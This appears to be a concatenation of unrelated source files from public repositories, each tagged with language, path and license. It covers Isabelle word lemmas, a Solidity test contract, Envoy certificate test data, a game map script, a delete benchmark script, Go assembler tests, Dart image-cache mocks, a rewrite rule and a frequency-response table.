shows "\<lbrakk>x \<le> y; x \<noteq> y; y < 2 ^ 64 - 1\<rbrakk> \<Longrightarrow> x \<le> y - 1"
by (rule le_step_down_word_2, assumption+)
lemma shiftr_1:
"(x::word64) >> 1 = 0 \<Longrightarrow> x < 2"
by word_bitwise clarsimp
lemma mask_step_down_64:
"(b::64word) && 0x1 = (1::64word) \<Longrightarrow> (\<exists>x. x < 64 \<and> mask x = b >> 1) \<Longrightarrow> (\<exists>x. mask x = b)"
apply clarsimp
apply (rule_tac x="x + 1" in exI)
apply (subgoal_tac "x \<le> 63")
apply (erule le_step_down_nat, clarsimp simp:mask_def, word_bitwise, clarsimp+)+
apply (clarsimp simp:mask_def, word_bitwise, clarsimp)
apply clarsimp
done
lemma unat_of_int_64:
"\<lbrakk>i \<ge> 0; i \<le> 2 ^ 63\<rbrakk> \<Longrightarrow> (unat ((of_int i)::sword64)) = nat i"
unfolding unat_def
apply (subst eq_nat_nat_iff, clarsimp+)
apply (simp add: word_of_int uint_word_of_int int_mod_eq')
done
(* Helper for packing then unpacking a 64-bit variable. *)
lemma cast_chunk_assemble_id_64[simp]:
"(((ucast ((ucast (x::64 word))::32 word))::64 word) || (((ucast ((ucast (x >> 32))::32 word))::64 word) << 32)) = x"
by (simp add:cast_chunk_assemble_id)
(* Another variant of packing and unpacking a 64-bit variable. *)
lemma cast_chunk_assemble_id_64'[simp]:
"(((ucast ((scast (x::64 word))::32 word))::64 word) || (((ucast ((scast (x >> 32))::32 word))::64 word) << 32)) = x"
by (simp add:cast_chunk_scast_assemble_id)
(* Specialiasations of down_cast_same for adding to local simpsets. *)
lemma cast_down_u64: "(scast::64 word \<Rightarrow> 32 word) = (ucast::64 word \<Rightarrow> 32 word)"
apply (subst down_cast_same[symmetric])
apply (simp add:is_down)+
done
lemma cast_down_s64: "(scast::64 sword \<Rightarrow> 32 word) = (ucast::64 sword \<Rightarrow> 32 word)"
apply (subst down_cast_same[symmetric])
apply (simp add:is_down)+
done
end
| Isabelle | 5 | check-spelling/Iptables_Semantics | thy/Word_Lib/Word_Lemmas_64.thy | [
"BSD-2-Clause"
] |
pragma solidity ^0.5.0;
import "./ImportOfImport.sol";
contract NodeImport is ImportOfImport {
uint nodeImport;
constructor() public {}
}
| Solidity | 4 | wbt/truffle | packages/truffle/test/sources/monorepo/node_modules/nodepkg/NodeImport.sol | [
"MIT"
] |
// NOLINT(namespace-envoy)
constexpr char TEST_SAN_DNS2_CERT_256_HASH[] =
"8d4a2b9321f29cfc8bfbe28e8ec1069c9f87b900fcbf37e6beb1c5f24b8d3d68";
constexpr char TEST_SAN_DNS2_CERT_1_HASH[] = "7badb47d6d1c1b8cb7eebde80328e2ae34563922";
constexpr char TEST_SAN_DNS2_CERT_SPKI[] = "RMX61rJ5+5ZBkIkGU0NgDRCXuIKMKkMNrrL81ed0I4Y=";
constexpr char TEST_SAN_DNS2_CERT_SERIAL[] = "6fb969e4475a4f2e8a09f2a3bdb4d76831d832dc";
constexpr char TEST_SAN_DNS2_CERT_NOT_BEFORE[] = "Aug 20 16:57:48 2020 GMT";
constexpr char TEST_SAN_DNS2_CERT_NOT_AFTER[] = "Aug 20 16:57:48 2022 GMT";
| C | 1 | dcillera/envoy | test/extensions/transport_sockets/tls/test_data/san_dns2_cert_info.h | [
"Apache-2.0"
] |
// Copyright 2006-2015 Las Venturas Playground. All rights reserved.
// Use of this source code is governed by the GPLv2 license, a copy of which can
// be found in the LICENSE file.
/**
Las Venturas Playground v2.94 - Dam Map
This map was created by Jay
**/
#define MAP18 18
map_create(MAP18)
{
map_set_id(MAP18);
map_set_name("Dam Jump");
map_set_spawn(-568.27569580,920.82165527,1863.88330078,0);
map_set_max_players(10);
map_add_vehicle(411,-568.27569580,920.82165527,1863.88330078,5.75000000,-1,-1,15); //Infernus
map_add_vehicle(411,-573.52569580,920.57165527,1863.88330078,5.75000000,-1,-1,15); //Infernus
map_add_vehicle(411,-560.77539062,921.57128906,1863.88330078,5.74584961,-1,-1,15); //Infernus
map_add_vehicle(411,-608.41558838,917.32128906,1863.88330078,5.74584961,-1,-1,15); //Infernus
map_add_vehicle(411,-615.91503906,916.57128906,1863.88330078,5.74584961,-1,-1,15); //Infernus
map_add_vehicle(411,-624.41503906,915.57128906,1863.88330078,5.74584961,-1,-1,15); //Infernus
map_add_vehicle(429,-539.88592529,959.05883789,1863.83325195,94.66979980,-1,-1,15); //Banshee
map_add_vehicle(429,-649.79559326,933.77325439,1863.83325195,274.12915039,-1,-1,15); //Banshee
map_add_vehicle(429,-538.95703125,953.70214844,1863.83325195,94.66918945,-1,-1,15); //Banshee
map_add_vehicle(429,-538.92871094,947.55175781,1863.83325195,94.66918945,-1,-1,15); //Banshee
map_add_vehicle(429,-650.04492188,942.27246094,1863.83325195,274.12536621,-1,-1,15); //Banshee
map_add_vehicle(429,-650.04492188,951.77246094,1863.83325195,274.12536621,-1,-1,15); //Banshee
map_add_object(18449,-766.33593750,2026.56494141,24.39035416,357.33721924,67.63995361,285.05871582); //object(cs_roadbridge01) (1)
map_add_object(18449,-766.33593750,2026.56445312,24.39035416,356.68261719,61.71014404,284.74725342); //object(cs_roadbridge01) (2)
map_add_object(18449,-765.71105957,2022.81445312,13.46535683,355.86758423,53.78979492,284.22857666); //object(cs_roadbridge01) (3)
map_add_object(18449,-766.33593750,2026.56445312,18.89035416,354.79772949,41.88815308,283.25665283); //object(cs_roadbridge01) (4)
map_add_object(18449,-766.33593750,2026.56445312,11.89035416,353.71893311,25.96099854,281.65081787); //object(cs_roadbridge01) (5)
map_add_object(18449,-765.58593750,2019.81445312,8.39035416,353.28448486,15.98071289,280.51287842); //object(cs_roadbridge01) (6)
map_add_object(18449,-765.13549805,2015.81445312,-0.10964584,353.16589355,347.99041748,277.13970947); //object(cs_roadbridge01) (7)
map_add_object(18449,-756.96520996,1961.93627930,11.33034897,353.16101074,347.98645020,277.13562012); //object(cs_roadbridge01) (8)
map_add_object(18449,-749.59020996,1913.60656738,27.57034683,357.23730469,336.13378906,277.36553955); //object(cs_roadbridge01) (9)
map_add_object(18449,-749.58984375,1913.60644531,27.57034683,356.50427246,314.21716309,274.99719238); //object(cs_roadbridge01) (10)
map_add_object(18449,-744.43994141,1880.30725098,72.07034302,357.76947021,296.37164307,274.09423828); //object(cs_roadbridge01) (11)
map_add_object(18449,-739.54028320,1847.78930664,138.01037598,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (12)
map_add_object(18449,-734.41491699,1813.65112305,207.52069092,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (13)
map_add_object(18449,-729.48986816,1781.38574219,273.09555054,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (14)
map_add_object(18449,-724.41467285,1747.90026855,341.05563354,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (15)
map_add_object(18449,-719.51397705,1715.48974609,406.91598511,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (17)
map_add_object(18449,-714.63928223,1683.01550293,472.85629272,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (18)
map_add_object(18449,-709.71734619,1650.66979980,538.66650391,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (19)
map_add_object(18449,-704.42669678,1615.90051270,609.24682617,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (20)
map_add_object(18449,-699.12023926,1580.79040527,680.53717041,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (21)
map_add_object(18449,-694.06958008,1547.20642090,748.54748535,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (22)
map_add_object(18449,-688.81933594,1512.32153320,819.32684326,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (23)
map_add_object(18449,-683.86987305,1479.60717773,885.86700439,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (24)
map_add_object(18449,-678.75927734,1445.80822754,954.46722412,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (25)
map_add_object(18449,-674.13391113,1415.29919434,1016.41748047,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (26)
map_add_object(18449,-668.95886230,1381.15051270,1085.84643555,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (27)
map_add_object(18449,-663.82305908,1347.32641602,1154.64428711,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (28)
map_add_object(18449,-658.94763184,1314.98681641,1220.28283691,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (29)
map_add_object(18449,-653.87194824,1281.62243652,1288.09106445,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (30)
map_add_object(18449,-648.87109375,1248.72265625,1355.01074219,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (31)
map_add_object(18449,-643.81604004,1215.75085449,1422.04821777,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (32)
map_add_object(18449,-638.67517090,1181.62963867,1491.24560547,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (33)
map_add_object(18449,-633.85095215,1149.59484863,1556.36340332,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (34)
map_add_object(18449,-629.20092773,1118.89294434,1618.59130859,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (35)
map_add_object(18449,-624.02575684,1084.65270996,1688.22985840,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (36)
map_add_object(18449,-618.95007324,1050.93164062,1756.73754883,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (37)
map_add_object(18449,-613.75921631,1016.26501465,1827.04980469,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (38)
map_add_object(18449,-614.75878906,1022.51464844,1832.17932129,357.76428223,296.36718750,274.09240723); //object(cs_roadbridge01) (39)
map_add_object(3997,-595.32580566,940.46527100,1863.08325195,0.00000000,0.00000000,5.25000000); //object(cityhallblok_lan) (2)
map_add_object(624,-666.73791504,932.06115723,1861.33325195,0.00000000,0.00000000,0.00000000); //object(veg_palwee02) (1)
map_add_object(624,-668.28649902,943.33923340,1863.08325195,0.00000000,0.00000000,0.00000000); //object(veg_palwee02) (2)
map_add_object(624,-669.53613281,956.50891113,1863.08325195,0.00000000,0.00000000,0.00000000); //object(veg_palwee02) (3)
map_add_object(624,-531.10949707,975.03698730,1863.08325195,0.00000000,0.00000000,0.00000000); //object(veg_palwee02) (4)
map_add_object(624,-529.35937500,961.53613281,1863.08325195,0.00000000,0.00000000,0.00000000); //object(veg_palwee02) (5)
map_add_object(624,-526.35937500,944.65606689,1863.08325195,0.00000000,0.00000000,0.00000000); //object(veg_palwee02) (6)
map_add_object(634,-644.53051758,879.05340576,1863.08325195,0.00000000,0.00000000,0.00000000); //object(veg_palmkbb11) (1)
map_add_object(634,-522.29589844,893.03027344,1863.08325195,0.00000000,0.00000000,0.00000000); //object(veg_palmkbb11) (2)
map_add_object(634,-535.57519531,889.92285156,1863.08325195,0.00000000,0.00000000,0.00000000); //object(veg_palmkbb11) (3)
map_add_object(634,-553.75292969,885.45507812,1863.08325195,0.00000000,0.00000000,0.00000000); //object(veg_palmkbb11) (4)
map_add_object(634,-590.65625000,882.87011719,1863.08325195,0.00000000,0.00000000,0.00000000); //object(veg_palmkbb11) (5)
map_add_object(634,-614.90820312,879.85058594,1863.08325195,0.00000000,0.00000000,0.00000000); //object(veg_palmkbb11) (6)
return 1;
}
| PAWN | 4 | EPIC-striker/playground | pawn/Resources/Maps/MapZones/Jumps/Dam.pwn | [
"MIT"
] |
# Uses https://github.com/divmain/fuzzponent
mkdir fixtures-1
cd fixtures-1
fuzzponent -d 2 -s 20 > output.txt
cd ..
echo "rimraf 1"
node rimraf.js 1
mkdir fixtures-2
cd fixtures-2
fuzzponent -d 2 -s 20 > output.txt
cd ..
echo "rimraf 2"
node rimraf.js 2
mkdir fixtures-3
cd fixtures-3
fuzzponent -d 2 -s 20 > output.txt
cd ..
echo "rimraf 3"
node rimraf.js 3
mkdir fixtures-4
cd fixtures-4
fuzzponent -d 2 -s 20 > output.txt
cd ..
echo "rimraf 4"
node rimraf.js 4
mkdir fixtures-5
cd fixtures-5
fuzzponent -d 2 -s 20 > output.txt
cd ..
echo "rimraf 5"
node rimraf.js 5
echo "-----------"
cd fixtures-1
fuzzponent -d 2 -s 20 > output.txt
cd ..
echo "recursive delete 1"
node recursive-delete.js 1
cd fixtures-2
fuzzponent -d 2 -s 20 > output.txt
cd ..
echo "recursive delete 2"
node recursive-delete.js 2
cd fixtures-3
fuzzponent -d 2 -s 20 > output.txt
cd ..
echo "recursive delete 3"
node recursive-delete.js 3
cd fixtures-4
fuzzponent -d 2 -s 20 > output.txt
cd ..
echo "recursive delete 4"
node recursive-delete.js 4
cd fixtures-5
fuzzponent -d 2 -s 20 > output.txt
cd ..
echo "recursive delete 5"
node recursive-delete.js 5
rm -r fixtures-1 fixtures-2 fixtures-3 fixtures-4 fixtures-5 | Shell | 3 | blomqma/next.js | bench/recursive-delete/run.sh | [
"MIT"
] |
// Code generated by avx512test. DO NOT EDIT.
#include "../../../../../../runtime/textflag.h"
TEXT asmtest_avx512_4vnniw(SB), NOSPLIT, $0
VP4DPWSSD 7(SI)(DI*1), [Z2-Z5], K4, Z17 // 62e26f4c528c3e07000000
VP4DPWSSD 15(DX)(BX*8), [Z2-Z5], K4, Z17 // 62e26f4c528cda0f000000
VP4DPWSSD 7(SI)(DI*1), [Z12-Z15], K4, Z17 // 62e21f4c528c3e07000000
VP4DPWSSD 15(DX)(BX*8), [Z12-Z15], K4, Z17 // 62e21f4c528cda0f000000
VP4DPWSSD 7(SI)(DI*1), [Z22-Z25], K4, Z17 // 62e24f44528c3e07000000
VP4DPWSSD 15(DX)(BX*8), [Z22-Z25], K4, Z17 // 62e24f44528cda0f000000
VP4DPWSSD 7(SI)(DI*1), [Z2-Z5], K4, Z23 // 62e26f4c52bc3e07000000
VP4DPWSSD 15(DX)(BX*8), [Z2-Z5], K4, Z23 // 62e26f4c52bcda0f000000
VP4DPWSSD 7(SI)(DI*1), [Z12-Z15], K4, Z23 // 62e21f4c52bc3e07000000
VP4DPWSSD 15(DX)(BX*8), [Z12-Z15], K4, Z23 // 62e21f4c52bcda0f000000
VP4DPWSSD 7(SI)(DI*1), [Z22-Z25], K4, Z23 // 62e24f4452bc3e07000000
VP4DPWSSD 15(DX)(BX*8), [Z22-Z25], K4, Z23 // 62e24f4452bcda0f000000
VP4DPWSSDS -7(DI)(R8*1), [Z4-Z7], K1, Z31 // 62225f4953bc07f9ffffff
VP4DPWSSDS (SP), [Z4-Z7], K1, Z31 // 62625f49533c24
VP4DPWSSDS -7(DI)(R8*1), [Z14-Z17], K1, Z31 // 62220f4953bc07f9ffffff
VP4DPWSSDS (SP), [Z14-Z17], K1, Z31 // 62620f49533c24
VP4DPWSSDS -7(DI)(R8*1), [Z24-Z27], K1, Z31 // 62223f4153bc07f9ffffff
VP4DPWSSDS (SP), [Z24-Z27], K1, Z31 // 62623f41533c24
VP4DPWSSDS -7(DI)(R8*1), [Z4-Z7], K1, Z0 // 62b25f49538407f9ffffff
VP4DPWSSDS (SP), [Z4-Z7], K1, Z0 // 62f25f49530424
VP4DPWSSDS -7(DI)(R8*1), [Z14-Z17], K1, Z0 // 62b20f49538407f9ffffff
VP4DPWSSDS (SP), [Z14-Z17], K1, Z0 // 62f20f49530424
VP4DPWSSDS -7(DI)(R8*1), [Z24-Z27], K1, Z0 // 62b23f41538407f9ffffff
VP4DPWSSDS (SP), [Z24-Z27], K1, Z0 // 62f23f41530424
RET
| GAS | 0 | Havoc-OS/androidprebuilts_go_linux-x86 | src/cmd/asm/internal/asm/testdata/avx512enc/avx512_4vnniw.s | [
"BSD-3-Clause"
] |
/**
* This file is part of the Phalcon.
*
* (c) Phalcon Team <team@phalcon.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Phalcon\Html\Helper\Input;
use Phalcon\Escaper\EscaperInterface;
use Phalcon\Helper\Arr;
/**
* Class Checkbox
*
* @property array $label
*/
class Checkbox extends AbstractInput
{
/**
* @var array
*/
protected label = [];
/**
* @var string
*/
protected type = "checkbox";
/**
* AbstractHelper constructor.
*
* @param EscaperInterface $escaper
*/
public function __construct(<EscaperInterface> escaper)
{
parent::__construct(escaper);
let this->label = [
"start" : "",
"text" : "",
"end" : ""
];
}
/**
* Returns the HTML for the input.
*
* @return string
*/
public function __toString()
{
var element, label, unchecked;
this->processChecked();
let unchecked = this->processUnchecked(),
element = parent::__toString(),
label = this->label,
this->label = [
"start" : "",
"text" : "",
"end" : ""
];
return unchecked
. label["start"]
. element
. label["text"]
. label["end"];
}
/**
* Attaches a label to the element
*
* @param array $attributes
*
* @return Checkbox
*/
public function label(array attributes = []) -> <Checkbox>
{
var text = "";
let text = Arr::get(attributes, "text", "");
unset attributes["text"];
let attributes = array_merge(
[
"for" : this->attributes["id"]
],
attributes
);
let this->label = [
"start" : this->renderTag("label", attributes),
"text" : text,
"end" : "</label>"
];
return this;
}
/**
* Processes the checked value
*/
private function processChecked() -> void
{
var checked, value;
array attributes;
let attributes = this->attributes,
checked = Arr::get(attributes, "checked", "");
unset attributes["checked"];
if !empty checked {
let value = Arr::get(attributes, "value", "");
if checked === value {
let attributes["checked"] = "checked";
}
}
let this->attributes = attributes;
}
/**
* Returns the unchecked hidden element if available
*
* @return string
*/
private function processUnchecked() -> string
{
var unchecked;
array attributes;
let attributes = this->attributes,
unchecked = Arr::get(attributes, "unchecked", "");
unset attributes["unchecked"];
if !empty unchecked {
let unchecked = this->renderTag(
"hidden",
[
"name" : this->attributes["name"],
"value" : unchecked
]
);
}
let this->attributes = attributes;
return unchecked;
}
}
| Zephir | 4 | chipco/cphalcon | phalcon/Html/Helper/Input/Checkbox.zep | [
"BSD-3-Clause"
] |
@_exported import Exported
public class ModuleClass {}
| Swift | 0 | gandhi56/swift | test/SourceKit/Indexing/Inputs/explicit-access/Module.swift | [
"Apache-2.0"
] |
// Copyright 2014 The Flutter Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
import 'dart:async';
import 'dart:ui' as ui show Image;
import 'package:flutter/foundation.dart';
import 'package:flutter/painting.dart';
class TestImageInfo extends ImageInfo {
const TestImageInfo(this.value, {
required ui.Image image,
double scale = 1.0,
String? debugLabel,
}) : super(image: image, scale: scale, debugLabel: debugLabel);
final int value;
@override
String toString() => '${objectRuntimeType(this, 'TestImageInfo')}($value)';
@override
TestImageInfo clone() {
return TestImageInfo(value, image: image.clone(), scale: scale, debugLabel: debugLabel);
}
@override
int get hashCode => hashValues(value, image, scale, debugLabel);
@override
bool operator ==(Object other) {
if (other.runtimeType != runtimeType)
return false;
return other is TestImageInfo
&& other.value == value
&& other.image.isCloneOf(image)
&& other.scale == scale
&& other.debugLabel == debugLabel;
}
}
class TestImageProvider extends ImageProvider<int> {
const TestImageProvider(this.key, this.imageValue, { required this.image })
: assert(image != null);
final int key;
final int imageValue;
final ui.Image image;
@override
Future<int> obtainKey(ImageConfiguration configuration) {
return Future<int>.value(key);
}
@override
ImageStreamCompleter load(int key, DecoderCallback decode) {
return OneFrameImageStreamCompleter(
SynchronousFuture<ImageInfo>(TestImageInfo(imageValue, image: image.clone())),
);
}
@override
String toString() => '${objectRuntimeType(this, 'TestImageProvider')}($key, $imageValue)';
}
class FailingTestImageProvider extends TestImageProvider {
const FailingTestImageProvider(int key, int imageValue, { required ui.Image image }) : super(key, imageValue, image: image);
@override
ImageStreamCompleter load(int key, DecoderCallback decode) {
return OneFrameImageStreamCompleter(Future<ImageInfo>.sync(() => Future<ImageInfo>.error('loading failed!')));
}
}
Future<ImageInfo> extractOneFrame(ImageStream stream) {
final Completer<ImageInfo> completer = Completer<ImageInfo>();
late ImageStreamListener listener;
listener = ImageStreamListener((ImageInfo image, bool synchronousCall) {
completer.complete(image);
stream.removeListener(listener);
});
stream.addListener(listener);
return completer.future;
}
class ErrorImageProvider extends ImageProvider<ErrorImageProvider> {
@override
ImageStreamCompleter load(ErrorImageProvider key, DecoderCallback decode) {
throw Error();
}
@override
Future<ErrorImageProvider> obtainKey(ImageConfiguration configuration) {
return SynchronousFuture<ErrorImageProvider>(this);
}
}
class ObtainKeyErrorImageProvider extends ImageProvider<ObtainKeyErrorImageProvider> {
@override
ImageStreamCompleter load(ObtainKeyErrorImageProvider key, DecoderCallback decode) {
throw Error();
}
@override
Future<ObtainKeyErrorImageProvider> obtainKey(ImageConfiguration configuration) {
throw Error();
}
}
class LoadErrorImageProvider extends ImageProvider<LoadErrorImageProvider> {
@override
ImageStreamCompleter load(LoadErrorImageProvider key, DecoderCallback decode) {
throw Error();
}
@override
Future<LoadErrorImageProvider> obtainKey(ImageConfiguration configuration) {
return SynchronousFuture<LoadErrorImageProvider>(this);
}
}
class LoadErrorCompleterImageProvider extends ImageProvider<LoadErrorCompleterImageProvider> {
@override
ImageStreamCompleter load(LoadErrorCompleterImageProvider key, DecoderCallback decode) {
final Completer<ImageInfo> completer = Completer<ImageInfo>.sync();
completer.completeError(Error());
return OneFrameImageStreamCompleter(completer.future);
}
@override
Future<LoadErrorCompleterImageProvider> obtainKey(ImageConfiguration configuration) {
return SynchronousFuture<LoadErrorCompleterImageProvider>(this);
}
}
class TestImageStreamCompleter extends ImageStreamCompleter {
void testSetImage(ui.Image image) {
setImage(ImageInfo(image: image));
}
}
| Dart | 4 | devansh12b2/flutter | packages/flutter/test/painting/mocks_for_image_cache.dart | [
"BSD-3-Clause"
] |
"""Tests for the my component."""
| Python | 0 | tbarbette/core | tests/components/my/__init__.py | [
"Apache-2.0"
] |
# BEGIN YOURLS
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^.*$ /yourls-loader.php [L]
</IfModule>
# END YOURLS
| ApacheConf | 2 | nhumrich/docker-1 | yourls.vhost | [
"MIT"
] |
frequency,raw
20.00,-7.23
20.20,-7.09
20.40,-6.94
20.61,-6.80
20.81,-6.65
21.02,-6.52
21.23,-6.54
21.44,-6.56
21.66,-6.59
21.87,-6.61
22.09,-6.61
22.31,-6.58
22.54,-6.54
22.76,-6.51
22.99,-6.48
23.22,-6.46
23.45,-6.44
23.69,-6.42
23.92,-6.41
24.16,-6.38
24.40,-6.36
24.65,-6.33
24.89,-6.31
25.14,-6.27
25.39,-6.22
25.65,-6.18
25.91,-6.13
26.16,-6.11
26.43,-6.11
26.69,-6.10
26.96,-6.10
27.23,-6.08
27.50,-6.05
27.77,-6.02
28.05,-5.99
28.33,-5.93
28.62,-5.87
28.90,-5.81
29.19,-5.82
29.48,-5.85
29.78,-5.89
30.08,-5.91
30.38,-5.87
30.68,-5.84
30.99,-5.80
31.30,-5.78
31.61,-5.75
31.93,-5.73
32.24,-5.72
32.57,-5.71
32.89,-5.70
33.22,-5.74
33.55,-5.79
33.89,-5.84
34.23,-5.80
34.57,-5.71
34.92,-5.62
35.27,-5.60
35.62,-5.60
35.97,-5.60
36.33,-5.60
36.70,-5.60
37.06,-5.60
37.43,-5.60
37.81,-5.60
38.19,-5.60
38.57,-5.60
38.95,-5.60
39.34,-5.60
39.74,-5.60
40.14,-5.60
40.54,-5.60
40.94,-5.60
41.35,-5.60
41.76,-5.60
42.18,-5.60
42.60,-5.60
43.03,-5.60
43.46,-5.60
43.90,-5.60
44.33,-5.60
44.78,-5.60
45.23,-5.60
45.68,-5.60
46.13,-5.60
46.60,-5.60
47.06,-5.60
47.53,-5.60
48.01,-5.60
48.49,-5.55
48.97,-5.50
49.46,-5.45
49.96,-5.39
50.46,-5.39
50.96,-5.40
51.47,-5.40
51.99,-5.40
52.51,-5.32
53.03,-5.24
53.56,-5.25
54.10,-5.26
54.64,-5.27
55.18,-5.27
55.74,-5.23
56.29,-5.27
56.86,-5.37
57.42,-5.42
58.00,-5.45
58.58,-5.54
59.16,-5.59
59.76,-5.53
60.35,-5.50
60.96,-5.50
61.57,-5.50
62.18,-5.50
62.80,-5.50
63.43,-5.50
64.07,-5.50
64.71,-5.50
65.35,-5.50
66.01,-5.50
66.67,-5.50
67.33,-5.53
68.01,-5.60
68.69,-5.67
69.37,-5.70
70.07,-5.70
70.77,-5.70
71.48,-5.70
72.19,-5.75
72.91,-5.96
73.64,-5.86
74.38,-5.80
75.12,-5.80
75.87,-5.80
76.63,-5.80
77.40,-5.80
78.17,-5.82
78.95,-5.90
79.74,-5.77
80.54,-5.71
81.35,-5.69
82.16,-5.66
82.98,-5.56
83.81,-5.43
84.65,-5.30
85.50,-5.10
86.35,-4.92
87.22,-4.86
88.09,-4.81
88.97,-4.74
89.86,-4.64
90.76,-4.51
91.66,-4.43
92.58,-4.37
93.51,-4.32
94.44,-4.21
95.39,-4.06
96.34,-4.03
97.30,-4.06
98.28,-3.97
99.26,-3.83
100.25,-3.82
101.25,-3.90
102.27,-3.88
103.29,-3.76
104.32,-3.72
105.37,-3.83
106.42,-3.80
107.48,-3.63
108.56,-3.74
109.64,-3.80
110.74,-3.47
111.85,-3.46
112.97,-3.55
114.10,-3.56
115.24,-3.56
116.39,-3.58
117.55,-3.63
118.73,-3.69
119.92,-3.75
121.12,-3.74
122.33,-3.73
123.55,-3.72
124.79,-3.77
126.03,-3.81
127.29,-3.87
128.57,-3.90
129.85,-3.89
131.15,-3.86
132.46,-3.89
133.79,-4.12
135.12,-4.16
136.48,-4.10
137.84,-4.07
139.22,-4.07
140.61,-4.06
142.02,-4.06
143.44,-3.94
144.87,-3.98
146.32,-4.10
147.78,-4.16
149.26,-4.18
150.75,-4.32
152.26,-4.36
153.78,-4.28
155.32,-4.26
156.88,-4.19
158.44,-4.15
160.03,-4.30
161.63,-4.14
163.24,-4.19
164.88,-4.37
166.53,-4.32
168.19,-4.17
169.87,-4.04
171.57,-4.00
173.29,-4.05
175.02,-4.23
176.77,-4.21
178.54,-4.13
180.32,-4.11
182.13,-4.10
183.95,-4.09
185.79,-4.08
187.65,-4.06
189.52,-4.05
191.42,-4.04
193.33,-4.02
195.27,-4.01
197.22,-3.99
199.19,-3.98
201.18,-3.97
203.19,-3.97
205.23,-3.97
207.28,-3.97
209.35,-4.02
211.44,-4.19
213.56,-4.18
215.69,-4.09
217.85,-4.08
220.03,-4.09
222.23,-4.09
224.45,-4.09
226.70,-4.09
228.96,-4.08
231.25,-4.08
233.57,-4.07
235.90,-4.05
238.26,-4.04
240.64,-4.02
243.05,-4.01
245.48,-3.99
247.93,-3.96
250.41,-3.94
252.92,-3.93
255.45,-3.91
258.00,-3.90
260.58,-3.90
263.19,-3.90
265.82,-3.90
268.48,-3.90
271.16,-3.91
273.87,-3.98
276.61,-4.08
279.38,-3.96
282.17,-3.84
284.99,-3.80
287.84,-3.79
290.72,-3.78
293.63,-3.77
296.57,-3.76
299.53,-3.75
302.53,-3.73
305.55,-3.72
308.61,-3.71
311.69,-3.71
314.81,-3.70
317.96,-3.70
321.14,-3.70
324.35,-3.70
327.59,-3.70
330.87,-3.70
334.18,-3.71
337.52,-3.71
340.90,-3.71
344.30,-3.71
347.75,-3.71
351.23,-3.71
354.74,-3.71
358.28,-3.70
361.87,-3.61
365.49,-3.54
369.14,-3.73
372.83,-3.88
376.56,-3.91
380.33,-3.70
384.13,-3.65
387.97,-3.65
391.85,-3.65
395.77,-3.64
399.73,-3.64
403.72,-3.65
407.76,-3.65
411.84,-3.65
415.96,-3.66
420.12,-3.65
424.32,-3.69
428.56,-3.74
432.85,-3.67
437.18,-3.52
441.55,-3.46
445.96,-3.42
450.42,-3.36
454.93,-3.31
459.48,-3.25
464.07,-3.18
468.71,-3.20
473.40,-3.17
478.13,-2.94
482.91,-2.87
487.74,-2.83
492.62,-2.79
497.55,-2.76
502.52,-2.74
507.55,-2.72
512.62,-2.70
517.75,-2.69
522.93,-2.70
528.16,-2.65
533.44,-2.61
538.77,-2.57
544.16,-2.63
549.60,-2.70
555.10,-2.63
560.65,-2.64
566.25,-2.68
571.92,-2.74
577.64,-2.81
583.41,-2.72
589.25,-2.59
595.14,-2.62
601.09,-2.67
607.10,-2.53
613.17,-2.49
619.30,-2.47
625.50,-2.44
631.75,-2.42
638.07,-2.38
644.45,-2.35
650.89,-2.32
657.40,-2.29
663.98,-2.23
670.62,-2.08
677.32,-2.02
684.10,-2.07
690.94,-2.02
697.85,-1.85
704.83,-1.84
711.87,-1.84
718.99,-1.79
726.18,-1.73
733.44,-1.70
740.78,-1.58
748.19,-1.61
755.67,-1.69
763.23,-1.64
770.86,-1.60
778.57,-1.56
786.35,-1.42
794.22,-1.42
802.16,-1.52
810.18,-1.41
818.28,-1.19
826.46,-1.14
834.73,-1.13
843.08,-0.97
851.51,-0.84
860.02,-1.00
868.62,-1.06
877.31,-0.90
886.08,-0.78
894.94,-0.77
903.89,-0.70
912.93,-0.51
922.06,-0.47
931.28,-0.65
940.59,-0.63
950.00,-0.51
959.50,-0.41
969.09,-0.35
978.78,-0.32
988.57,-0.23
998.46,-0.04
1008.44,0.16
1018.53,0.08
1028.71,-0.07
1039.00,0.03
1049.39,0.00
1059.88,-0.10
1070.48,0.02
1081.19,0.07
1092.00,0.02
1102.92,0.13
1113.95,0.27
1125.09,0.43
1136.34,0.52
1147.70,0.67
1159.18,0.80
1170.77,0.90
1182.48,1.14
1194.30,1.36
1206.25,1.45
1218.31,1.48
1230.49,1.40
1242.80,1.47
1255.22,1.60
1267.78,1.59
1280.45,1.53
1293.26,1.53
1306.19,1.53
1319.25,1.62
1332.45,1.73
1345.77,1.85
1359.23,1.99
1372.82,2.06
1386.55,2.05
1400.41,2.01
1414.42,1.96
1428.56,1.99
1442.85,2.09
1457.28,2.09
1471.85,2.10
1486.57,2.06
